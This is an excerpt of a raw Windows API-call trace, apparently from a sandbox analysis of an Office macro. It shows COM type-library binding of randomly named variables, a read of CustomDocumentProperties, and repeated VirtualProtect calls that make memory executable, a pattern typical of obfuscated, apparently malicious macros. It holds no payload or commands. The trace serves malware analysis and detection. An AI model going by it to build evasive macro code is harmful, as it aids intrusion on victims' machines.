[0030.049] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307798 | out: ppvObject=0x307798*=0x0) returned 0x80004002
[0030.049] IUnknown:Release (This=0x75817bc) returned 0x2
[0030.049] IUnknown:AddRef (This=0x756c480) returned 0x4
[0030.049] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307790 | out: ppvObject=0x307790*=0x0) returned 0x80004002
[0030.049] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307798 | out: ppvObject=0x307798*=0x0) returned 0x80004002
[0030.049] IUnknown:Release (This=0x756c480) returned 0x3
[0030.049] IUnknown:AddRef (This=0x756c4d8) returned 0x4
[0030.049] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307790 | out: ppvObject=0x307790*=0x0) returned 0x80004002
[0030.049] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307798 | out: ppvObject=0x307798*=0x0) returned 0x80004002
[0030.049] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.049] IUnknown:AddRef (This=0x756c55c) returned 0x5
[0030.049] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307790 | out: ppvObject=0x307790*=0x0) returned 0x80004002
[0030.049] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307798 | out: ppvObject=0x307798*=0x0) returned 0x80004002
[0030.049] IUnknown:Release (This=0x756c55c) returned 0x4
[0030.049] GetAsyncKeyState (vKey=3) returned 0
[0030.049] CRetailMalloc_Alloc () returned 0x753dfc8
[0030.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d09e2, cbMultiByte=11, lpWideCharStr=0x306c24, cchWideChar=12 | out: lpWideCharStr="KdxXEYNMGz") returned 11
[0030.050] ITypeComp:RemoteBind (in: This=0x757e060, szName="KdxXEYNMGz", lHashVal=0x102f5c, wFlags=0x5, ppTInfo=0x306bf0, pDescKind=0x306c00, ppFuncDesc=0x306bf4, ppVarDesc=0x306d90, ppTypeComp=0x4, pDummy=0x3f0 | out: ppTInfo=0x306bf0*=0x0, pDescKind=0x306c00*=0, ppFuncDesc=0x306bf4, ppVarDesc=0x306d90, ppTypeComp=0x4, pDummy=0x3f0) returned 0x0
[0030.050] CRetailMalloc_Alloc () returned 0x76ac330
[0030.050] _mbscpy_s (in: _Dst=0x76ac330, _DstSizeInBytes=0xb, _Src=0x81d09e2 | out: _Dst=0x76ac330) returned 0x0
[0030.050] IUnknown:Release (This=0x75e9628) returned 0x7
[0030.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1f2e, cbMultiByte=18, lpWideCharStr=0x306c34, cchWideChar=19 | out: lpWideCharStr="_B_var_KdxXEYNMGz") returned 18
[0030.050] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_KdxXEYNMGz", lHashVal=0x109dc6, wFlags=0x5, ppTInfo=0x306c00, pDescKind=0x306c10, ppFuncDesc=0x306c04, ppVarDesc=0x757a6a4, ppTypeComp=0x306d90, pDummy=0x1 | out: ppTInfo=0x306c00*=0x0, pDescKind=0x306c10*=0, ppFuncDesc=0x306c04, ppVarDesc=0x757a6a4, ppTypeComp=0x306d90*=0x0, pDummy=0x1) returned 0x0
[0030.051] _mbscpy_s (in: _Dst=0x306c9c, _DstSizeInBytes=0xb, _Src=0x81d09e2 | out: _Dst=0x306c9c) returned 0x0
[0030.051] CRetailMalloc_Free () returned 0x12a20401
[0030.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0a0a, cbMultiByte=9, lpWideCharStr=0x306c24, cchWideChar=10 | out: lpWideCharStr="xVUysvHR") returned 9
[0030.051] ITypeComp:RemoteBind (in: This=0x757e060, szName="xVUysvHR", lHashVal=0x100c47, wFlags=0x5, ppTInfo=0x306bf0, pDescKind=0x306c00, ppFuncDesc=0x306bf4, ppVarDesc=0x306d90, ppTypeComp=0x4, pDummy=0x3f2 | out: ppTInfo=0x306bf0*=0x0, pDescKind=0x306c00*=0, ppFuncDesc=0x306bf4, ppVarDesc=0x306d90, ppTypeComp=0x4, pDummy=0x3f2) returned 0x0
[0030.051] CRetailMalloc_Alloc () returned 0x7604f88
[0030.051] _mbscpy_s (in: _Dst=0x7604f88, _DstSizeInBytes=0x9, _Src=0x81d0a0a | out: _Dst=0x7604f88) returned 0x0
[0030.051] IUnknown:Release (This=0x75e9628) returned 0x7
[0030.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1f5e, cbMultiByte=16, lpWideCharStr=0x306c34, cchWideChar=17 | out: lpWideCharStr="_B_var_xVUysvHR") returned 16
[0030.051] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_xVUysvHR", lHashVal=0x10e40f, wFlags=0x5, ppTInfo=0x306c00, pDescKind=0x306c10, ppFuncDesc=0x306c04, ppVarDesc=0x757a6a4, ppTypeComp=0x306d90, pDummy=0x1 | out: ppTInfo=0x306c00*=0x0, pDescKind=0x306c10*=0, ppFuncDesc=0x306c04, ppVarDesc=0x757a6a4, ppTypeComp=0x306d90*=0x0, pDummy=0x1) returned 0x0
[0030.052] _mbscpy_s (in: _Dst=0x306c9c, _DstSizeInBytes=0x9, _Src=0x81d0a0a | out: _Dst=0x306c9c) returned 0x0
[0030.052] CRetailMalloc_Free () returned 0x85d0201
[0030.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0a32, cbMultiByte=10, lpWideCharStr=0x306c24, cchWideChar=11 | out: lpWideCharStr="HKgDWchDY") returned 10
[0030.052] ITypeComp:RemoteBind (in: This=0x757e060, szName="HKgDWchDY", lHashVal=0x1081b2, wFlags=0x5, ppTInfo=0x306bf0, pDescKind=0x306c00, ppFuncDesc=0x306bf4, ppVarDesc=0x306d90, ppTypeComp=0x4, pDummy=0x3f4 | out: ppTInfo=0x306bf0*=0x0, pDescKind=0x306c00*=0, ppFuncDesc=0x306bf4, ppVarDesc=0x306d90, ppTypeComp=0x4, pDummy=0x3f4) returned 0x0
[0030.052] CRetailMalloc_Alloc () returned 0x76ac330
[0030.052] _mbscpy_s (in: _Dst=0x76ac330, _DstSizeInBytes=0xa, _Src=0x81d0a32 | out: _Dst=0x76ac330) returned 0x0
[0030.052] IUnknown:Release (This=0x75e9628) returned 0x7
[0030.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1f8a, cbMultiByte=17, lpWideCharStr=0x306c34, cchWideChar=18 | out: lpWideCharStr="_B_var_HKgDWchDY") returned 17
[0030.052] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_HKgDWchDY", lHashVal=0x108af7, wFlags=0x5, ppTInfo=0x306c00, pDescKind=0x306c10, ppFuncDesc=0x306c04, ppVarDesc=0x757a6a4, ppTypeComp=0x306d90, pDummy=0x1 | out: ppTInfo=0x306c00*=0x0, pDescKind=0x306c10*=0, ppFuncDesc=0x306c04, ppVarDesc=0x757a6a4, ppTypeComp=0x306d90*=0x0, pDummy=0x1) returned 0x0
[0030.052] _mbscpy_s (in: _Dst=0x306c9c, _DstSizeInBytes=0xa, _Src=0x81d0a32 | out: _Dst=0x306c9c) returned 0x0
[0030.052] CRetailMalloc_Free () returned 0x12a20401
[0030.053] IUnknown:AddRef (This=0x756c480) returned 0x4
[0030.053] IUnknown:Release (This=0x756c480) returned 0x3
[0030.053] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306d30 | out: ppvObject=0x306d30*=0x0) returned 0x80004002
[0030.053] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306d34 | out: ppvObject=0x306d34*=0x0) returned 0x80004002
[0030.053] IUnknown:AddRef (This=0x756c480) returned 0x4
[0030.053] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.053] IUnknown:Release (This=0x756c480) returned 0x3
[0030.053] IUnknown:AddRef (This=0x756c4d8) returned 0x4
[0030.053] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.053] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306cbc | out: ppvObject=0x306cbc*=0x0) returned 0x80004002
[0030.053] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306cc0 | out: ppvObject=0x306cc0*=0x0) returned 0x80004002
[0030.053] IUnknown:AddRef (This=0x756c480) returned 0x4
[0030.053] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306c58 | out: ppvObject=0x306c58*=0x0) returned 0x80004002
[0030.053] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306c4c | out: ppvObject=0x306c4c*=0x0) returned 0x80004002
[0030.053] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x306c48 | out: ppvObject=0x306c48*=0x756c480) returned 0x0
[0030.053] ITypeInfo2:GetTypeKind (in: This=0x756c480, pTypeKind=0x306c90 | out: pTypeKind=0x306c90*=5) returned 0x0
[0030.053] IUnknown:Release (This=0x756c480) returned 0x4
[0030.054] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c4d8, ppTypeAttr=0x3068a4, pDummy=0x90 | out: ppTypeAttr=0x3068a4, pDummy=0x90) returned 0x0
[0030.054] ITypeInfo:LocalReleaseTypeAttr (This=0x756c4d8) returned 0x74b30c8
[0030.054] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c480, ppTypeAttr=0x3068a4, pDummy=0x90 | out: ppTypeAttr=0x3068a4, pDummy=0x90) returned 0x0
[0030.054] ITypeInfo:LocalReleaseTypeAttr (This=0x756c480) returned 0x74b30c8
[0030.054] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.055] IUnknown:Release (This=0x756c480) returned 0x3
[0030.055] IUnknown:AddRef (This=0x756c4d8) returned 0x4
[0030.055] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c4d8, ppTypeAttr=0x306cf0, pDummy=0x7534108 | out: ppTypeAttr=0x306cf0, pDummy=0x7534108*=0x0) returned 0x0
[0030.055] ITypeInfo:LocalReleaseTypeAttr (This=0x756c4d8) returned 0x74b30c8
[0030.055] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.055] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.055] IUnknown:Release (This=0x756c55c) returned 0x4
[0030.055] IUnknown:Release (This=0x756c504) returned 0x2
[0030.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0a86, cbMultiByte=25, lpWideCharStr=0x306bfc, cchWideChar=26 | out: lpWideCharStr="CustomDocumentProperties") returned 25
[0030.055] ITypeComp:RemoteBind (in: This=0x756c560, szName="CustomDocumentProperties", lHashVal=0x1096de, wFlags=0x3, ppTInfo=0x306bc8, pDescKind=0x306bd8, ppFuncDesc=0x306bcc, ppVarDesc=0x757a6a4, ppTypeComp=0x306d34, pDummy=0x3 | out: ppTInfo=0x306bc8*=0x756c55c, pDescKind=0x306bd8*=1, ppFuncDesc=0x306bcc, ppVarDesc=0x757a6a4, ppTypeComp=0x306d34*=0x0, pDummy=0x3) returned 0x0
[0030.055] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c55c, ppTypeAttr=0x306bdc, pDummy=0x757a6a4 | out: ppTypeAttr=0x306bdc, pDummy=0x757a6a4*=0xffff) returned 0x0
[0030.055] ITypeInfo:LocalReleaseTypeAttr (This=0x756c55c) returned 0x74d3dd0
[0030.056] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x306b4c | out: ppvObject=0x306b4c*=0x756c55c) returned 0x0
[0030.056] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x756c55c, memid=2, invkind=2, pFuncIndex=0x306b50 | out: pFuncIndex=0x306b50*=0x5) returned 0x0
[0030.056] ITypeInfo2:GetFuncCustData (in: This=0x756c55c, index=0x5, GUID=0x72799940*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x306b34 | out: pVarVal=0x306b34*(varType=0x0, wReserved1=0x30, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0
[0030.056] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.056] IUnknown:AddRef (This=0x756c55c) returned 0x6
[0030.056] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.056] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.056] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306c80 | out: ppvObject=0x306c80*=0x0) returned 0x80004002
[0030.056] IUnknown:AddRef (This=0x756c55c) returned 0x6
[0030.056] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.056] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306cd4 | out: ppvObject=0x306cd4*=0x0) returned 0x80004002
[0030.056] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306cd8 | out: ppvObject=0x306cd8*=0x0) returned 0x80004002
[0030.056] IUnknown:AddRef (This=0x756c55c) returned 0x6
[0030.056] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c55c, ppTypeAttr=0x306cc0, pDummy=0x7534108 | out: ppTypeAttr=0x306cc0, pDummy=0x7534108*=0x0) returned 0x0
[0030.056] ITypeInfo:LocalReleaseTypeAttr (This=0x756c55c) returned 0x74d3dd0
[0030.056] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.057] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c480, ppTypeAttr=0x306890, pDummy=0x306b8c | out: ppTypeAttr=0x306890, pDummy=0x306b8c*=0x306ea4) returned 0x0
[0030.057] ITypeInfo:LocalReleaseTypeAttr (This=0x756c480) returned 0x74d3dd0
[0030.058] CRetailMalloc_Realloc () returned 0x753dfc8
[0030.058] CRetailMalloc_Free () returned 0x2ea0001
[0030.058] GetCurrentProcess () returned 0xffffffff
[0030.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98a2, dwSize=0xc) returned 1
[0030.058] VirtualProtect (in: lpAddress=0x75e98a2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.058] GetCurrentProcess () returned 0xffffffff
[0030.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98b6, dwSize=0xc) returned 1
[0030.058] VirtualProtect (in: lpAddress=0x75e98b6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.058] GetCurrentProcess () returned 0xffffffff
[0030.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98ca, dwSize=0xc) returned 1
[0030.058] VirtualProtect (in: lpAddress=0x75e98ca, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.058] GetCurrentProcess () returned 0xffffffff
[0030.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98de, dwSize=0xc) returned 1
[0030.058] VirtualProtect (in: lpAddress=0x75e98de, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.058] GetCurrentProcess () returned 0xffffffff
[0030.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98f2, dwSize=0xc) returned 1
[0030.058] VirtualProtect (in: lpAddress=0x75e98f2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.058] GetCurrentProcess () returned 0xffffffff
[0030.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9906, dwSize=0xc) returned 1
[0030.058] VirtualProtect (in: lpAddress=0x75e9906, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e991a, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e991a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e992e, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e992e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9942, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e9942, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9956, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e9956, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e996a, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e996a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e997e, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e997e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9992, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e9992, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.059] GetCurrentProcess () returned 0xffffffff
[0030.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99a6, dwSize=0xc) returned 1
[0030.059] VirtualProtect (in: lpAddress=0x75e99a6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ba, dwSize=0xc) returned 1
[0030.060] VirtualProtect (in: lpAddress=0x75e99ba, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99ce, dwSize=0xc) returned 1
[0030.060] VirtualProtect (in: lpAddress=0x75e99ce, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99e2, dwSize=0xc) returned 1
[0030.060] VirtualProtect (in: lpAddress=0x75e99e2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e99f6, dwSize=0xc) returned 1
[0030.060] VirtualProtect (in: lpAddress=0x75e99f6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a0a, dwSize=0xc) returned 1
[0030.060] VirtualProtect (in: lpAddress=0x75e9a0a, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a1e, dwSize=0xc) returned 1
[0030.060] VirtualProtect (in: lpAddress=0x75e9a1e, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a32, dwSize=0xc) returned 1
[0030.060] VirtualProtect (in: lpAddress=0x75e9a32, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.060] GetCurrentProcess () returned 0xffffffff
[0030.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e9a46, dwSize=0xc) returned 1
[0030.061] VirtualProtect (in: lpAddress=0x75e9a46, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.061] GetCurrentProcess () returned 0xffffffff
[0030.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1ae, dwSize=0xc) returned 1
[0030.061] VirtualProtect (in: lpAddress=0x757f1ae, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.061] GetCurrentProcess () returned 0xffffffff
[0030.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1c2, dwSize=0xc) returned 1
[0030.061] VirtualProtect (in: lpAddress=0x757f1c2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.061] GetCurrentProcess () returned 0xffffffff
[0030.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x757f1d6, dwSize=0xc) returned 1
[0030.061] VirtualProtect (in: lpAddress=0x757f1d6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x306af4 | out: lpflOldProtect=0x306af4*=0x40) returned 1
[0030.061] IUnknown:AddRef (This=0x75817bc) returned 0x3
[0030.061] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307320 | out: ppvObject=0x307320*=0x0) returned 0x80004002
[0030.061] IUnknown:QueryInterface (in: This=0x75817bc, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307328 | out: ppvObject=0x307328*=0x0) returned 0x80004002
[0030.061] IUnknown:Release (This=0x75817bc) returned 0x2
[0030.061] IUnknown:AddRef (This=0x756c480) returned 0x4
[0030.061] IUnknown:QueryInterface (in: This=0x756c480, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307320 | out: ppvObject=0x307320*=0x0) returned 0x80004002
[0030.061] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307328 | out: ppvObject=0x307328*=0x0) returned 0x80004002
[0030.061] IUnknown:Release (This=0x756c480) returned 0x3
[0030.061] IUnknown:AddRef (This=0x756c4d8) returned 0x4
[0030.061] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307320 | out: ppvObject=0x307320*=0x0) returned 0x80004002
[0030.061] IUnknown:QueryInterface (in: This=0x756c4d8, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307328 | out: ppvObject=0x307328*=0x0) returned 0x80004002
[0030.061] IUnknown:Release (This=0x756c4d8) returned 0x3
[0030.061] IUnknown:AddRef (This=0x756c55c) returned 0x6
